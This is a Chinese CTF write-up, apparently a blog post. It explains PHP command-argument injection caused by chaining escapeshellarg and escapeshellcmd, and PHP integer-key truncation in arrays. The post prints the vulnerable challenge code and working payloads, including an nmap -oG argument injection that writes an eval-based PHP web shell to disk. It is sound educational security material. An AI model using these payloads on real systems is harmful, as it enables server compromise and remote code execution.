php 转义md5 和java 转译的区别_CTF|PHP中的命令参数注入

f69f03863b6cb5746ed26f65ef543ef9.png

直奔主题,首先来了解两个 PHP 函数的定义。

命令参数注入

escapeshellarg

把字符串转码为可以在 shell 命令里使用的参数。

escapeshellcmd

对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。

看上去似乎没什么毛病,escapeshellarg 与 escapeshellcmd 两个函数都是 php 设置来转义非法字符的,不过由于它们俩的转义规则有所不同,当先使用 escapeshellarg 再使用 escapeshellcmd 时,就可能导致命令参数注入。这是为什么呢?

原理解析

f89308fbe23728d672b78b340231d8ab.png

test.php

fc32a58b0c31b2fd9ba91385e05c332c.png

执行的语句将变成

curl '127.0.0.1''' -v -d a=1'

相当于

curl 127.0.0.1 -v -d a=1'

从而实现参数注入

题目分析

下面就以几道 CTF 题作为补充的讲解。

题目1:[0 => 0] === [0x100000000 => 0]

<?php
$user = ['admin', 'xxoo'];
if(empty($_GET['user']))  die(show_souce(__FILE__));
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
    echo $flag;
} else {
    die('sketch_pl4ne_wants_a_girlfriend.');
}
?>

分析

这个实际上考的是索引数组的整数键截断

也就是:https://bugs.php.net/bug.php?id=69892

59648b7ffa15bcf2e1868e19a6db3384.png
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

构造 payload

?user[4294967296]=admin&user[1]=xxoo
//0x100000000 == 4294967296
该漏洞仅在 64 位的 php 中有效
如何判断 32 位还是 64 位?
查看 phpinfo() 即可知道。

题目2:BUUCTF_2018_Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

分析

直接代码审计吧,remote_addr 和 x_forwarded_for 这两个是服务器获取 ip 用的。

$host = escapeshellarg($host);
$host = escapeshellcmd($host);

前面说了,这两个 PHP 函数一起使用,会导致漏洞。

再后面 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

有个 system 来执行命令,而且有传参,这里应该就是突破口了。

nmap 可以做些什么呢?查阅相关资料后,发现一个 namp 参数 -oG 可以实现将命令和结果写到文件。

so,写入上传文件,直接一句话走起吧。

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行后会返回文件夹名

85db0bc4bddc5f1d3e3f4fa6808099fa.png

连接一句话即可得到 flag。

参考: https:// bugs.php.net/bug.php? id=69892 https://www. php.net/manual/zh/funct ion.escapeshellcmd.php

二向箔安全的网络安全技能包又更新了!学 Python 的也能当黑客了,多实战沉浸式体验,让你回味无穷。

这个春节,让你从 程序猿→黑客x程序员 PLUS

f59edfa819d9b4aa50eba0f24ba7f679.png

更多有关渗透测试的内容请前往二向箔安全进行学习,最近推出了“挖洞”班,想了解更多资讯的,可咨询客服微信 twosecurity02

17d73366138ed90b1e9a81e4ccfda445.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值